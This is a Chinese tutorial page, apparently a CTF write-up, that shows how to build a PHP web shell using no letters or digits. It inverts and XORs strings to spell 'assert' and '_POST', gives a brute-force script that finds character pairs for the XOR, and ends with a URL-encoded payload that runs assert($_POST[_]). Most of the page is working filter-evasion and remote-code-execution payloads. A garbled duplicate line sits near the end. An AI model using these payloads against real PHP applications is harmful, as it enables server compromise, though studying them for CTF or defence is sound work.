主页 > 网络知识 > 浅析CTF绕过字符数字构造shell(2)

浅析CTF绕过字符数字构造shell(2)

可以看出,自己对phpinfo取反,会产生一些不可见字符,可对phpinfo取反后再进行url编码。

取反脚本 <?php $a = urlencode(~'phpinfo'); echo $a; //%8F%97%8F%96%91%99%90

 

浅析CTF绕过字符数字构造shell

 

构造assert字符
第一种方法 %9E^%FF=>a  %8C^%FF=>s  %9A^%FF=>e  %8D^%FF=>r  %8B^%FF=>t     %A0^%FF=>_      %AF^%FF=>P   %B0^%FF=>O  %AC^%FF=>S  %AB^%FF=>T       $_="%9E%8C%8C%9A%8D%8B"^"%FF%FF%FF%FF%FF%FF"; $__="%A0%AF%B0%AC%AB"^"%FF%FF%FF%FF%FF"; $___=$$__; $_($___[_]);

 

浅析CTF绕过字符数字构造shell

 

第二种方法

脚本

<?php $shell = "assert"; $result1 = ""; $result2 = ""; for($num=0;$num<=strlen($shell);$num++) {     for($x=33;$x<126;$x++)     {         if(judge(chr($x)))         {             for($y=33;$y<=126;$y++)             {                 if(judge(chr($y)))                 {                     $f = chr($x)^chr($y);                     if($f == $shell[$num])                     {                         $result1 .= chr($x);                         $result2 .= chr($y);                         break 2;                     }                 }             }         }     } } echo $result1; echo "<br>"; echo $result2; function judge($c) {     if(!preg_match('/[a-z0-9]/is',$c))     {         return true;     }     return false; }

这个脚本可以将“assert”变成两个字符串异或的结果,通过更改shell的值可以构造出我们想要的字符串。为了便于表示,生成字符串的范围为33-126(可见字符)。

<?php $_ = "!((%)("^"@[[@[";   //构造出assert $__ = "!+/(("^"~{`{|";   //构造出_POST $___ = $$__;   //$___ = $_POST $_($___[_]);   //assert($_POST[_]); ?shell=%24_+%3d+%22!((%25)(%22^%22%40[[%40[%22%3b%24__+%3d+%22!%2b%2f((%22^%22~{`{|%22%3b%24___+%3d+%24%24__%3b%24_(%24___[_])%3b

 

 

浅析CTF绕过字符数字构造shell

 

 

$_ = "!((%)("^"@[[@[";

$__ = "!+/(("^"~{`{|";   $___ = $$__$_($___[_]);
说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!